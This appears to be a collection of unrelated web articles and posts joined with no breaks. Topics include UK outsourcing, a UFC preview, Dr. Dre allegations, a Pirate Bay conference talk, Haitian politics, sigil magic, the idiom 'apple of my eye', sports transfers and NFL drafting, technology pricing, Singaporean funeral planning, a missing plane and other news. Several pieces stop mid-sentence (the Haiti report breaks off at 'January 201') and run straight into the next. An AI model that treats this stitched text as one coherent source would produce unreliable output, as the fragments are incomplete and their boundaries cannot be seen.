So who actually benefits from this sort of outsourcing? Not unemployed young people, who either get help they didn't need, or get thrown in the "too hard" basket by profit-seeking businesses. And not the taxpayer, who gets overcharged and defrauded by private providers. The only people who benefit are the donors and cronies who get the contracts. To continue the example of A4e, its five shareholders netted themselves £11m in dividends last year. That's £11m the government could have spent on helping young people, which has instead gone to line the pockets of the rich.Welterweights looking to make a statement to kick off 2016 will meet at the MGM Grand Garden Arena in Las Vegas on Saturday, January 2, as former Ultimate Fighter winner Kelvin Gastelum meets surging Australian veteran Kyle Noke.
Tickets for UFC 195, headlined by the welterweight title fight between Robbie Lawler and Carlos Condit, are on sale now.
Fresh off a Fight of the Night battle with Neil Magny in November that saw him suffer only the second loss of his pro career via split decision, Gastelum is hungry to pick off where he left off after his stunning late surge in Mexico. In Noke, the Arizonan will be in tough once more, as the Australia native is looking better than ever at 170 pounds, where he has gone 3-1 with two knockouts of Charlie Brenneman and Peter Sobotta.via medium.com
Today at Medium I take a look at the many domestic violence allegations against Dr. Dre:
Because I’m concerned with Dr. Dre’s image, especially with the holiday shopping season about to kick into full gear, the article I wrote the other day on his career included minimal discussion of numerous incidents in which he’s alleged to have put his shoe on a woman.
Nevertheless, my article somehow ended up being suppressed. Unlike similar articles I’ve written, it never benefited from Medium’s legendary, mysterious “traffic fire hose.”
As is the case with Facebook, some Medium posts take off and some don’t. The difference being, I’m pretty sure Medium has a team of human editors who decide which posts are heavily promoted on the site and which ones aren’t.
While I’d be willing to bet a steak dinner that I can guess their demographic characteristics to within 99.7% accuracy, I’m at a loss for what criteria they’re using, if any. Why is it that a similar article I wrote, on Dame Dash, received 5x as much traffic? What could be the difference?
Since there’s little risk of anyone actually seeing this post, I figured I’d discuss the domestic violence allegations against Dr. Dre in further depth. Below is a list of girls Dr. Dre beat up.Pirate Bay co-founders Peter Sunde and Fredrik Neij gave a keynote speech at the Hack In The Box Security Conference 2008, entitled "How to dismantle a billion dollar industry - as a hobby." The two discuss how The Pirate Bay grew to be the largest BitTorrent site on the Internet, and some of the challenges they face today.
At the Hack in the Box conference, held in Malaysia, Peter and Fredrik gave a talk this morning, where they offered some background information on how the site became the world’s largest BitTorrent tracker, in a relatively short period of time.
The two, who just turned 30, have a long history of copyright infringement which started back in the ’80’s, with Peter cracking Amiga games and Fredrik copying Commodore64 software. At the time they had never heard of copyright infringement, they were just doing what everybody else did. To the amusement of the audience, Peter said he didn’t think piracy was ‘wrong’ when he was a kid, but now that he’s an adult, he knows it’s not.
Years later, in 2003, they got involved in founding Piratbyrån (The Bureau of Piracy), a pro-piracy organization that was created in response to anti-Piratbyrån. The goal of Piratbyrån was to start a debate on copyright issues, and how they affect society. Until then, most press in Sweden would simply take everything anti-Piratbyrån said for granted.
In the years to come, Piratbyrån started several pro-piracy projects, and the most influential is without a doubt the founding of The Pirate Bay on November 21, 2003. “We needed to have a filesharing network in Sweden, because there was none,” Peter said. “At this time there was one big torrent site, which was called Suprnova, but they mainly had international content. We and Piratbyrån wanted more Swedish and Scandinavian content. So we started a big library, and that is The Pirate Bay.”
Fredrik, who ran one of the earlier versions of the tracker on his laptop, explained that when The Pirate Bay went live, it was hosted in South America. “The Pirate Bay originally started out in Mexico, on a Mexican server where Anakata, the third guy of The Pirate Bay was working at the time,” he said. Anakata hosted the site on a server owned by the company he was working for, but it was soon overloaded since the site grew so rapidly.
The Pirate Bay was initially available in Swedish language only. However, after a year they found out that, although their site was initially targeted at Scandinavians, over 80% of the users came from other parts of the world. In fact, one of the most popular torrents was a Swedish language course. Because of increasing worldwide popularity, The Pirate Bay team completely redesigned the site, which became available in several languages.
The popularity of the site didn’t go unnoticed in Hollywood. Like many other BitTorrent sites, The Pirate Bay also received several takedown notices. However, the way they responded to these was quite unique and some have become news stories in themselves. Threats from the entertainment industry didn’t stop at sending letters. In true Hollywood style, The Pirate Bay admins soon saw private investigators watching their every move.
“They’ve sent private investigators after us, which is really stupid if you do something online,” Peter said. “What are they going to find, that we are sitting behind our computers?” Fredrik added: “I guess the private investigator that went after me in Gothenburg got to see a lot of good bars, a lot of late nights, but probably not a lot of evidence gathering.” Peter then noted that someone from the IFPI was actually at the conference, “still trying to find out what we’re doing.”
Eventually The Pirate Bay got raided, following pressure from Hollywood and the USA. Fredrik recalls the day vividly: “I got a phone call like 10am in the morning, it was Anakata.” He told Fredrik that there were police officers at their office, and asked him to get down to the colocation facility and get rid of the ‘incriminating evidence’, although none of it, whatever it was, was related to The Pirate Bay.
As Fredrik was leaving, he suddenly realized that the problems might be linked to their tracker, so he initiated a full backup of the site. At the colocation facility there were 65 police, some in civilian clothing. Fredrik asked them: “Who are you? What are you doing here?” To which they responded, “Who are YOU? What are you doing here?” After questions back and forth, Fredrik eventually told them his name, and a police officer said, “Oh, we’ve been looking for you.”
During the subsequent questioning, the Pirate Bay trio gave up very little information. Anakata quickly confessed to his crime – of killing the Swedish prime minister when he was 2 years old, but that was all they got. It is up to the court to decide whether the Pirate Bay founders are operating illegally or not. Until then, The Pirate Bay is still up and running, stronger than ever.
As always, there are a lot of plans for the future, and Peter and Fredrik briefly discussed some. One of the most interesting plans is to encrypt tracker connections, so anti-piracy organizations can’t spy on their users. We will probably hear more about that in the future. The keynote speech by Peter and Fredrik was streamed from a mobile phone last night, and we embedded the recording below. The sound quality is far from optimal, but it’s watchable. The talk starts at 13m 00sPORT-AU-PRINCE, Haiti (AFP) – Haiti’s President Jovenel Moise has slammed as "terrorists" the unidentified attackers who hurled stones at his motorcade late Saturday.
"There are no words strong enough to express the ignominy of these terrorist acts," a statement from his office said.
Supporters of the president reported that his motorcade was targeted as it moved through the town of Arcahaie north of the capital Port-au-Prince.
The town has been regularly rocked for almost two years by residents demonstrating against a redistricting decision by the former president.
In July 2015, then-president Michel Martelly issued a decreee to split the town into two districts, enraging locals.
The statement condemned the rock-throwing as "acts endangering the life of the President of the Republic".
Apart from political protests, Haiti is struggling to recover from the world’s most significant recent cholera outbreak, with an estimated 30,000 cases expected this year.
The Caribbean nation, the poorest country in the Americas, is also grappling with the aftermath of a January 201 |
I am owed for a job I did last October. It sigil was activated by chanting and by a technique whereby I look at the Sigil on a post-it and shake the paper until it looks like the sigil is moving on the paper, kinda like that trick you can do to make a pen look like it is bending and floppy. I placed it on the bridge yesterday evening so I’ll keep you all informed if anything interesting happens.
What’s your best and worst Sigil experiences? Or are you like me and they are mostly Meh?
UPDATE: Got a response from the client who owed me money – His life has fallen apart, his ex-wife cleared out all his bank accounts, he lost his house and is living on a friend’s couch. I’m pretty sure I won’t be getting my money, at least not for the foreseeable future. This experiment must go down as a fail, for the time being anyway.
UPDATE 2: I got the money!
NOTES and FURTHER READING:
Online Sigil Generator
Gordon on Sigils
Alan Chapman on Sigils
WIKIThis article is about the phrase. For the Badfinger song, see Apple of My Eye (song)
The phrase apple of my eye refers to something or someone that one cherishes above all others.[1]
Origin [ edit ]
The Bible references below (from the King James Version, translated in 1611) contain the English idiom "apple of my eye." However the "apple" reference comes from English idiom, not biblical Hebrew. The Hebrew literally says, "dark part of the eye." The Hebrew idiom also refers to the pupil, and has the same meaning, but does not parallel the English use of "apple."
The earliest appearance of the term is found in King Alfred's writing in the ninth century AD. Originally this term simply referred to the "aperture at the centre of the human eye" viz. the pupil. [2] This appears to be the meaning Shakespeare used in his 1590s play A Midsummer Night's Dream. In the play, the fairy character Robin Goodfellow has acquired a flower that was once hit by Cupid's arrow, imbuing it with magical love-arousing properties, and drops juice of this flower into a young sleeping man's eyes, saying "Flower of this purple dye, / Hit with Cupid's archery, / Sink in apple of his eye".
It also appears in the King James Bible translation from 1611:
Deuteronomy 32:10: "He found him in a desert land, and in the waste howling wilderness; he led him about, he instructed him, he kept him as the apple of his eye ".
". Psalm 17:8: "Keep me as the apple of the eye, hide me under the shadow of thy wings".
, hide me under the shadow of thy wings". Proverbs 7:2: "Keep my commandments, and live; and my law as the apple of thine eye ".
". Lamentations 2:18: "Their heart cried unto the Lord, O wall of the daughter of Zion, let tears run down like a river day and night: give thyself no rest; let not the apple of thine eye cease".
cease". Zechariah 2:8: "For thus saith the L ORD of hosts; After the glory hath he sent me unto the nations which spoiled you: for he that toucheth you toucheth the apple of his eye".
The original Hebrew for this idiom, in all but Zechariah 2:8, was 'iyshown 'ayin (אישון עין). The expression refers to the pupil, and probably simply means "dark part of the eye" (other biblical passages use 'iyshown with the meaning dark or obscure, and having nothing whatsoever to do with the eye). There is, however, a popular notion that 'iyshown is a diminutive of "man" ('iysh), so that the expression would literally mean "Little Man of the Eye."
If the latter interpretation is adopted it would be very much like the Latin version, pupilla, which means a little doll, and is a diminutive form of pupus, boy, or pupa, girl (the source also for our other sense of pupil to mean a schoolchild.) It was applied to the dark central portion of the eye within the iris because of the tiny image of oneself, like a puppet or marionette, that one can see when looking into another person's eye. In the Old Babylonian period (c. 1800-1600 BC) in ancient Mesopotamia, the expression "protective spirit of the eye" is attested, perhaps describing the same phenomenon.
In Zechariah 2:8, the Hebrew phrase used is bava 'ayin (בבה עין). The meaning of bava is disputed. It may mean "apple"; and if so, the phrase used in Zechariah 2:8 literally refers to the "apple of the eye." However, Hebrew scholars generally regard this phrase as simply referring to the "eyeball" (E.g., The Hebrew and Aramaic Lexicon of the Old TestamentPat Symonds and his Crashgate co-conspirator and former Renault colleague Flavio Briatore at the 2009 Malaysian Grand Prix © Sutton Images Enlarge Related Links Teams:
Renault
Pat Symonds, the former Renault engineer who was banned from Formula One until 2013 for his part in the Crashgate scandal, is already working in the sport, according to a report in the News of the World.
Under the terms of the exclusion, Symonds is allowed to have a non-operational role, and this has enabled him to work with the Virgin team through his company Neutrino Dynamics.
"Pat is working as an independent consultant, and he's advising us," Virgin's president Graeme Lowdon told Autosport. "He's not coming to the races or anything like that. It's a very positive thing for us as he has got a huge amount of experience, and experience is a scarce resource for us as a newer team. I'm sure Pat can bring a lot of value to the team."
An FIA spokesman told the Daily Telegraph: "The FIA reached an agreement with Mr Pat Symonds in April 2010 that he would be barred from returning to the sport of Formula One until the end of 2012. However, it was also agreed at the time that Mr Symonds could act in a consultancy capacity via his own company Neutrino Dynamics. This fact was extensively reported in the media at the time. Therefore the FIA has no further comment to make on this matter."
© ESPN Sports Media Ltd.West Ham want Alex Song to stay at the club (Picture: Getty Images)
Sam Allardyce has confirmed that West Ham want to make Alex Song’s loan move from Barcelona permanent amid reported interest from Liverpool.
Song – who is currently on a season-long loan with the Hammers from Barca – is believed to have attracted the interest of the Reds as well as Manchester United, with the ex-Cameroon international understood to want to remain in England.
However, West Ham boss Allardyce has now revealed his hopes of tying Song down to the east-London outfit ahead of next season.
‘There are a considerable amount of funds available next season,’ he said.
‘We can’t be spending that this season because we are at the extreme of that budget, but next season is a completely new budget.
‘It depends what Barcelona are looking for and what Alex is looking for and those negotiations will happen in and around that period.’
MORE: Tottenham plan to hijack Arsenal’s move for West Ham defender Winston ReidOn Wednesday, safety Jamal Adams flew up mock draft boards after he clocked a 4.33 40-yard-dash time at his LSU Pro Day. As ESPN’s Mike Triplett pointed out, Adams is now in the top-5 pick discussion, which is mostly uncharted territory for a present-day safety.
“Hopefully I make history,” Adams said Wednesday. “Sean Taylor and Eric Berry were the highest safeties to ever go at number five, so hopefully I go number four. We’ll see.” Adams is only partially correct. The late great Eric Turner was selected with the second pick of the 1991 NFL Draft; four years before Adams was even born. But even Cicero (in my head, he’d be a Sunday Ticket subscriber) would recognize Adams has a chance to make history on April 27th.
With the 49ers’ plan to move to a Pete Carroll-style 4-3 Cover-3 defense, they are once again in the market for a new safety. After the LSU Pro Day news, the Sacramento Bee’s Matt Barrows was one of the first to propose a potential marriage between Adams and the 49ers, who currently hold the second overall selection in the upcoming 2017 NFL Draft.
Have to think Adams is a possibility to #49ers at pick No. 2. https://t.co/uvYnKJSgpq — Matt Barrows (@mattbarrows) April 5, 2017
This sparked a debate between the two of us, and then some further thinking by me. Another early-round safety? Weren’t the Baalke-led Niners always one of the first teams to pull a safety off the board? A little bit of research confirmed it.
Dug into the numbers - last 4 years, what team spent the most draft capital at the safety position? #49ers, and it's not even close. https://t.co/DrsSFaPioG — Inside The 49 (@insidethe49) April 5, 2017
Further research revealed a number of interesting facts. Trent Baalke ran a total of seven drafts for the 49ers, from 2010 to 2016. In the first two rounds of these Baalke drafts, the 49ers selected four safeties: Jaquiski Tartt, Jimmie Ward (S, converted to CB, and maybe back to S), Eric Reid, and Taylor Mays. How did Baalke compare to his counterparts in the rest of the league? Only two other teams drafted two safeties in the first two rounds, and the rest drafted either one or zero. Of the four early-round safeties Baalke drafted, he selected two in the first round. During the same time period, only nine other teams drafted a safety in the first round.
The numbers are surely striking, and even more so when you consider the draft capital used on these early picks. To delve into this further, we will use Jimmy Johnson’s draft value chart, which is still the most commonly used standard for draft pick valuation.
By using this chart to assign a value to each of Baalke’s aftaft selections, we can determine where Baalke spent his draft capital compared to other teams, and where he overspent and underspent on various positions.
Baalke spent a total of 2404.8 “points” on safeties, which was by far the most in the league. Only three teams spent half the draft capital the 49ers used at the position. Baalke outspent the remaining teams by factors of two to 96, including the Seattle Seahawks, who drafted both Earl Thomas and Kam Chancellor at under half the cost of Baalke’s selections.
Every team’s draft capital is limited, so when a team chooses to overspend at certain positions, they choose to ignore other positions. Baalke’s highest areas of spend were on the line, with over 4800 points going to defensive linemen and edge rushers, and over 3300 to offensive linemen. Next comes the safeties, at just over 2400 points. Unfortunately, at this point, Baalke nearly ran out of draft capital. The combined capital spent on every remaining position barely exceeds the amount Baalke spent on the safety position alone. It’s no wonder that these skill positions Baalke chose to ignore are the same positions-of-need for the 49ers today.
If the overdrafting of one position was indeed a strategy, then Baalke picked the wrong position. The current CBA’s limitations on rookie salaries incentivizes teams to draft players who play expensive positions. Safeties are usually among the cheapest players on the field, and are relatively easy to replace via free agency. No one should know this better than Baalke, as the 49ers started free agent strong safeties every year Baalke was with the team.
It is easy to point out Baalke’s flaws as a GM, from his holes in talent evaluation, to his rocky relationship with Jim Harbaugh, to his lack of spending in free agency. But there were also good times – the draft-day trades, the Championship runs, the one-4th-down-pass away from glory. One has to wonder if things would have ended differently if Baalke spent his draft capital a bit more intelligently. But one thing, we do know. Out there somewhere tonight, Baalke will be wearing a suit, and will close his eyes as he drifts off to sleep. And he will sleep soundly, because although he was fired, at least he was replaced by his one true love.
A safety.Plummeting prices of LCD screens, via this month’s Wired.
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With everyone so focused on Inflation, I (naturally) want to discuss Deflation. Or rather, the lack of it in Technology prices. Instead, lets look at the Recency Effect and the life cycles of new tech products.
Technology poses a special challenge to the hordes of inflation watchers — Larry Kudlow calls them inflationistas. During the 2000s, this crowd completely missed the biggest inflationary spike since the 1970s until Oil was well over $100 and foodstuffs had skyrocketed. This was after decades of ignoring ballooning medical and college costs.
Having missed the last run up in prices, this same crowd now sees hyper-inflation everywhere.
There seems to be an inability to understand how CPI is officially constructed, and why it typically understates inflation. Complicating matters is the challenge of recognizing the impact of Technology, and how it create the appearance of deflation.
The key is understanding Technology’s normal adaptation cycle, what this means for cyclical pricing declines, and why falling prices do not automatically equate with Deflation.
The Fed gets this wrong. Wall Street misunderstands this. Most economists seem not to recognize qualitative difference between the 1st Big Screen TV that rolls of the assembly line and the 10 millionth. (Those who want to delve into the finer wonkish points about this can see the Technology adoption lifecycle by Joe M. Bohlen and George M. Beal, (1957), later refined in Everett M. Rogers’ Diffusion of Innovations).
Consider this simple factoid: New technologies and products come down in price over time, regardless of the state of the economy, Fed monetary policies, Federal stimulus, or even income inequality in the broader society.
If tech prices are independent of the Fed and Congress and money supply and the value of a dollar, then its hard to say (as so many do) that this is deflationary per se. It is a simple fact of adoption cycles, and not the usual drivers of inflation.
Whether we are discussing washing machines, radios, auto airbags, cellphones, or even PCs — all manufactured goods go through a well established adoption process. In the classic definition (see chart below), the first group of people to use any new technology are called “innovators,” followed by “early adopters,” then the “early majority” and “late majority,” and lastly, the “laggards.”
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Technology Adoption Lifecycle
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The key to understanding this is recognizing the differences in perceived social status value of these products.
The impact of this adoption process and the manufacturing economies of scale are significant determinant of technology product prices. But understand the following: What the Innovators buy is a very different product qualitatively — in terms of social status and perceived value — than what the laggards purchase.
Here is a grossly over-simplified version of how this works: When innovators buy a product, they essentially pay for all of the R&D costs, and other development expenses. You paid 365 labor units for a VCR in 1972 because they were a limited production, custom product that was practically hand made. When a PC cost 465 labor units, chip fabs were nowhere near as plentiful as today — and the biggest cost in early PCs were the exorbitant chipsets contained in them.
Let’s take a closer look at the perceived social status value of these products: When you are the only person in town in 2000 who has a 50 inch flat screen TV — and it cost $10,000 — there are non-monetary, status benefits of ownership. Compare that in 2010, when EVERYONE has a big screen, thanks to the cheap Korean flatties sold for less than $600 at Best Buy.
The claim that the price drop is deflationary assumes these two products are nearly identical, and further ignores irrational human behavior regarding these early innovator purchases. These products are not identical, at least in terms of the value conferred social value of status-seeking consumers.
The early adopters pay less than the innovators, as factories get built to mass produce chips or tape transport mechanisms or cell phone keypads. But they also buy a product with lower social status. What was a nearly custom made product becomes a merely limited-production, high-end one. Where the innovators paid for the R&D, the early adopters paid for the fabs and factories to be built.
Recall the days before cell phones were ubiquitous: The early majority doesn’t get the use of the product for the first few years, but they get a big price benefit of manufacturing economies of scale. But they also did not get the status symbol of those giant beige Motorola brick phones with their 8 inch black antenna. Mass production of components bring prices down; successful products attract competition to the space, and soon more manufacturers are cranking out more units. Through competition, prices begin dropping faster and faster. The late majority gets even cheaper prices. Consider the laggards and the VCR today — they cost about $29 each.
But the status associated with being the very first to own this is why the Innovators pay more for these products. And its also why the 100 millionth 50 inch television screen to roll off the assembly line has no status associated with it — where has the first few 1000 had massive status attached to it.
Technology adoption cycles reflect this in their price changes. Technology price decreases across their production life cycle are not only about industrial economies of scale — they are also about the decreasing status of an object as it becomes an everyday household product.
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Previously:
Hackonomics (February 2008)Since 2006, renowned collectors René Balcer and Carolyn Hsu-Balcer have given VMFA more than 500 works created by Japanese landscape artist Kawase Hasui (1883–1957). The 12 woodblock prints featured here are drawn from that generous gift. Created from the 1920s through the 1950s, these 12 prints depict seasonal flowers found at numerous sites across Japan, including its ancient capitals, historic landmarks, and rural mountains. Hasui captured cherry blossoms at Arashiyama in Kyoto, wildflowers on the Senjo Plain in Nikko, crabapple blossoms at the Myōhon Temple in Kamakura, and the iris garden at Meiji-jingo shrine in Tokyo.
Dahlia, lotus, lily, and azalea are also depicted. These works reveal Hasui’s passion for nature, his sketching expertise and proficient use of color, while illustrating the history, mystery, and serenity of Japan. Born in Tokyo, Hasui was trained in traditional Japanese painting, watercolor, and oil painting. In 1910, he began to study woodblock prints with Kaburaki Kiyokata (1878–1972).
Early in his career, Hasui worked primarily as an illustrator for magazines and in advertising. His career path changed in 1918 when his first experimental prints, known as shin-hanga (new prints), were published by Watanabe Shōzaburō (1885–1962), initiating a collaboration that lasted for the rest of Hasui’s life. Curated by Li Jian, E. Rhodes and Leona B. Carpenter Curator of East Asian Art, VMFA.The famous ‘Vote Leave’ battle bus has been acquired by Greenpeace and is being re-branded outside Parliament.
The bogus £350m NHS claim is being covered over with thousands of questions for the new government from Leave and Remain voters – many of them about what Brexit means for the environment.
Time for truth
The questions, written on stickers, are forming a montage that will spell out the words ‘TIME FOR TRUTH’ in huge white letters on the side of the bus.
The battle bus re-brand comes as the new government starts its first full week in office. The Department of Energy and Climate Change has been abolished, while some of the politicians who toured the UK on the bus – including Boris Johnson, Liam Fox and Priti Patel – have been given top jobs. Andrea Leadsom, who also rode the bus, has been made Environment Secretary.
The questions covering the bus have been penned by people from across the country who want the new government to come clean about the direction it is taking Britain.
Greenpeace tracked the bus down last week; it’s the exact same vehicle (registration E14 ACK) with the original livery. The claim on the side was debunked by the UK Statistics Authority.
Laws under threat
So far there are 10,014 questions being stuck onto the bus. Many of the questions have been written by people concerned that the EU laws that protect Nature are now under threat.
One voter, Laura from Swansea, sent Greenpeace this message, which is now on the side of the bus: ‘I voted leave. My greatest concern for our island is to protect what little natural habitat we have left. I hope the government will not let the country down on this issue.’
Paul from Worthing’s message says: ‘When I was young, raw sewage and industrial effluent was being poured into our rivers. Now the rivers are clean enough to bring fish to our cities. Are you going to keep our rivers, landscapes and atmosphere clean or are you going to go backwards?’Years before his death, boxing legend Muhammad Ali was already planning his own funeral with help from his closest friends and family.
It was to be held at his hometown of Louisville, Kentucky in the United States. There was to be a traditional Muslim prayer service, along with another inter-faith memorial service.
Former United States president Bill Clinton, actor Billy Crystal and sportscaster Bryant Gumbel were to deliver eulogies.
So detailed were Muhammad Ali's plans that the document, dubbed "The Book", reportedly grew to 5cm thick.
He died last month at age 74 after a long battle with Parkinson's disease.
The Champ is not alone in scripting his own plans for the final farewell. Some Singaporeans who are alive and well have also left standing instructions with funeral companies about their wake and funeral.
The photo for the obituary, the flowers, the music - these people have everything planned out.
Far from being uncomfortable about discussing their death, they want an active hand in planning their own funeral while they are alive.
As financial planner Kennard Lee, 31, puts it: "I am the best person to know what I want."
Customised funeral services have been available here for many years. But it is only in recent years that more people in good health are taking them up, three funeral companies told The Sunday Times.
Direct Funeral Services, for example, saw about 15 customers last year who spelt out their post-death wishes in black and white. They were an equal mix of men and women, mostly in their 40s and older. There were no such requests in 2000.
Direct's managing director, Ms Jenny Tay, 30, believes this is because there has been a national conversation about death in recent years, such as news reports on making living wills and signing an Advance Medical Directive (AMD).
An AMD is a legal document signed in advance to state that one does not want any life-sustaining treatment when terminally ill and unconscious and when death is imminent.
These have all helped to raise awareness of the importance of planning ahead, says Ms Tay.
Customers typically meet staff from a funeral company to work through their preferences. Some companies also ask for a third party to be present as a witness.
Payment should be made before the customer dies, or settled after that by a relative or friend. Costs can range from $1,500 for a simple funeral and cremation to a five- figure sum for more elaborate affairs.
Funeral companies generally try to accommodate all requests, including more unusual ones such as providing champagne or karaoke facilities at the wake.
From Ms Tay's experience, if no planning is done, family members often do not know the wishes of the dead. When decisions have to be made, disagreements can break out.
She adds: "I believe family members definitely want to execute a funeral according to the preferences of the deceased. So I would encourage people to make them known."
Mr Ang Ziqian, 35, chief executive of Ang Chin Moh Funeral Directors, observes that those who plan in advance tend to be single or have children of a different religion.
He says: "In the past, planning your own funeral was considered taboo. But nowadays, more people want to say goodbye in their own way."
Madam Lee Shyr Shyr, 68, is one who has worked out her own send-off to the last detail.
The retired businesswoman, who is single, has arranged with Ang Chin Moh Funeral Directors to have her body placed in a white coffin and cremated without a wake.
She wants her ashes to be placed in a biodegradable urn shaped like a sea shell and buried at sea.
This will be done at a designated site about 2.8km south of Pulau Semakau.
Madam Lee says: "I don't want my ashes to be stored in a columbarium - I have no children to visit me. I want to be with the sea, surrounded by beautiful scenery."
Ms Ang Jolie Mei wants to be dressed in her lime-green cheongsam and to have her collection of fans displayed at her wake. ST PHOTO: JAMIE KOH
For Ms Ang Jolie Mei, it was her father's death that prompted her to plan for her own.
The late Mr Ang Yew Seng, founder of Ang Yew Seng Funeral Parlour, died of renal failure in 2004 without leaving instructions for his wake and funeral.
Ms Ang, 35, now the director of The Life Celebrant, another funeral company, recalls: "We had to guess at what he wanted."
When she dies, she wants to be dressed in her favourite lime-green cheongsam and her wake will be decorated with red roses. On display will be her collection of about 20 fans from around the world, which she is very proud of.
Nobody is to wear black and there will be a karaoke machine for guests to dedicate songs to her.
The dance enthusiast also wants a memorial service at a salsa club in Clarke Quay with a dance floor and a live band playing Latin music.
She says: "Not many families I serve know that I love salsa, cha cha cha and merengue. I dance two or three times every week.
"At my service, I want everyone to celebrate my life and the things I like."
Second chance to decide after death scare
Mr Kennard Lee has chosen a white coffin and a seashell-shaped urn for his ashes. ST PHOTO: SEAH KWANG PENG
Financial planner Kennard Lee has a good reason for planning his own funeral.
The 31-year-old has had a close brush with death, having been diagnosed with Stage 4 non-Hodgkin's lymphoma, a type of blood cancer.
At age 23, he collapsed at home, bleeding from his nose and mouth. Doctors found a tumour the size of a brick in his chest.
He recalls: "The tumour was too close to my heart and could not be removed surgically. At one point, doctors told my family to prepare for the worst."
The only option was chemotherapy. After 15 rounds of the treatment, Mr Lee lost all his hair and had to temporarily stop his studies at the Singapore Management University. The painful treatment took more than a year and he was declared cancer-free in 2010.
He has since received his business management degree, married a conference manager and now lives in a five-room HDB flat in Punggol. The couple have no kids.
His near-death experience has shown him how fragile life is.
"You can go any time. You often cannot predict when or how," says the Christian.
"When I was sick, my parents didn't broach the subject of what to do should I go. Now that I have been given a second chance - and still have clarity of mind - I want to decide for myself."
Last year, he left standing instructions with funeral company Direct Funeral Services.
Upon his death, he will be dressed in a tailored tuxedo suit, with his hair styled neatly, and placed in a white coffin. His photo - showing him dressed in business attire - will be fringed with blue and white hydrangeas.
Says Mr Lee: "I love the colour white. I attended Raffles Institution (RI), so I guess wearing an all-white uniform for four years rubbed off on me."
He wants a quarter-page newspaper obituary listing his immediate family members, along with a poem he plans to write. His wake will be a Christian one, playing mainly worship songs. During his funeral, he wants his guests to sing the RI school song as well as the Officer Cadet School song.
"I was an army officer during my national service stint and was very proud to be one. My school years also did a lot to mould me into the person I am today," he explains.
"Basically, I want those attending my wake and funeral to know what is important to me."
His wife, Ms Cherie Wong, 29, who stood by him throughout his illness, says: "Everything that happened has taught Kennard to re-evaluate his life and plan for the future.
"I fully support his decision to plan for his funeral because he is the best person to decide on this after what he has gone through."
Party at my wake
Mr Michael Chua wants his dogs to see him off. ST PHOTO: JAMIE KOH
When he dies, Mr Michael Chua wants his wake to be a party.
There will be a bar serving a free flow of wine, spirits and cocktails. A random selection of jazz and electronic blues tunes will play from his Spotify phone app.
His guests - he has not decided how many yet - will chill out in this laidback atmosphere. They can dance if they want to.
Says the non-religious, free- spirited man: "At my funeral, I want to be surrounded by everything that represents me - good friends, food and music.
"After all, it will be the final time my friends are around me. I want them to enjoy themselves. I have always loved a good house party. I expect them to make me the stiffest drink."
The 42-year-old video and film producer, who is married to a Japanese working in the service industry, began planning for his wake four years ago, after a conversation with a friend. The couple have no children.
He says: "I have always been interested in death. Not in a morbid way. But I wonder about the randomness of it all. Why some people die from illness, others from accidents.
"Although I know I can't control how I go, at least I can control how I say goodbye."
Dogs are welcome at his wake too.
He has three dogs - Yuki, a samoyed, nine, Baby, a shih tzu- poodle, eight, and Flo, a spitz, seven - which share his bed at his condo in Whampoa every night.
"My wake must be somewhere dog-friendly, such as an outdoor area. I also want an open casket, so my dogs can touch me and see me off."
He adds jokingly: "An open casket also means I won't feel claustrophobic."
His wife will dress him.
"She buys all my clothes and does an amazing job dressing me. I want her to do the same when I am dead.
"Even if she goes first, I would like her to pick my clothes before she goes," he adds with a laugh.
In his coffin, he wants to hold 12 black roses, an image that has captured his imagination.
"There's no real reason for this. It is just the way I have always pictured my funeral to be," he says.
After his cremation, he hopes his wife will take his ashes to Japan. He does not want her to be interviewed, but says she is aware of, and supports, his after-death plans.
So do his friends. His parents, however, do not know yet.
"My parents are very open- minded and I have nothing to hide. I guess I just haven't got around to telling them," he says.
"Maybe this article will do the trick."A private passenger plane carrying two adults and two children has gone missing in the Bahamas.
Authorities lost contact with the aircraft as it was flying from Puerto Rico to Titusville on Florida’s east coast on Monday.
Efforts to find the four people on board, identified as Jennifer Blumin, Nathan Ulrich and Ms Blumin's four-year-old and 10-year-old sons, are being concentrated close to where the plane last made contact - in the Bermuda Triangle.
We’ll tell you what’s true. You can form your own view. From 15p €0.18 $0.18 $0.27 a day, more exclusives, analysis and extras.
Air traffic control in Miami lost contact with the MU-2B plane as it was flying to the east of Eleuthera, an island in the Bahamas archipelago.
The communication was lost at 24,000 feet as the plane travelled at 300 knots, officials said.
Search and rescue aircrafts from the US coastguard, Customs and Border Patrol and the Royal Bahamas Defence Force were scouring the seas for any sign of the aircraft roughly 40 miles east of the island.
We’ll tell you what’s true. You can form your own view.
At The Independent, no one tells us what to write. That’s why, in an era of political lies and Brexit bias, more readers are turning to an independent source. Subscribe from just 15p a day for extra exclusives, events and ebooks – all with no ads.
Subscribe nowA man in his twenties is in life-threatening condition after a shooting in the city's west end, Toronto paramedics say. Toronto police subsequently announced that a second gunshot victim with minor injuries had been identified.
Paramedics were called to Islington Avenue and Finch Avenue West around 3:30 p.m. Sunday where they found the man suffering multiple gunshot wounds to the upper body, Deputy Commander Shawn Staff told CBC News.
Police say two men were seen fleeing the intersection of Goldsboro Road and Duncanwoods Drive in what may have been a white car.
One is described as a tall black man in his twenties with muscular build, wearing all black clothing. The second is described as black, 5'7" with a stocky build, wearing blue jeans.
The man has been transported to a local trauma hospital.The Army is looking to get leaner, more lethal and more agile after having fought two ground wars over the past decade and now facing budget constraints, a Pentagon official says.
Heidi Shyu, who heads the Army’s acquisition, logistics and technology office, said the armed service is committed to those goals even though “fiscal pressures will limit the resources we have.”
Speaking at the Association of the United States Army earlier this week, Ms. Shyu said making soldiers’ protective gear lighter is a key priority.
“We’re looking at weight reduction across the spectrum,” she said, adding that success in the effort would ease the “overburden of soldiers in small units [who] carry an incredible burden on their backs.”
The Army will continue investing in advanced weapons, such as the XM-25, a new, small-arms grenade launcher with “smart” targeting technology that allows a grenade to hone in on enemies while avoiding direct fire, she said
“Soldiers love it, can’t get enough of it,” Ms. Shyu said of the weapon, which soldiers have nicknamed “the Punisher.”
Part of making soldiers more agile is giving them equipment that will last longer in austere environments, with greater fuel efficiency and longer battery lives, she said.
Vehicles also will become more versatile and sustainable, Ms. Shyu said.
Examples include the Joint Light Tactical Vehicle, which will be lighter and more mobile than a mine-resistant ambush protected vehicle (MRAP), and the new Paladin Integrated Management ground combat system that will have more electrical power than most military vehicles, the Army official said.
Copyright © 2019 The Washington Times, LLC. Click here for reprint permission.This weekend saw TrekTrax (newly redubbed Treklanta) host the very first Star Trek Independent Fan Film Awards and the results are in. It continues to be a great growth year with more amazing productions coming into the field and the existing group maturing and continuing to set the bar for the rest.
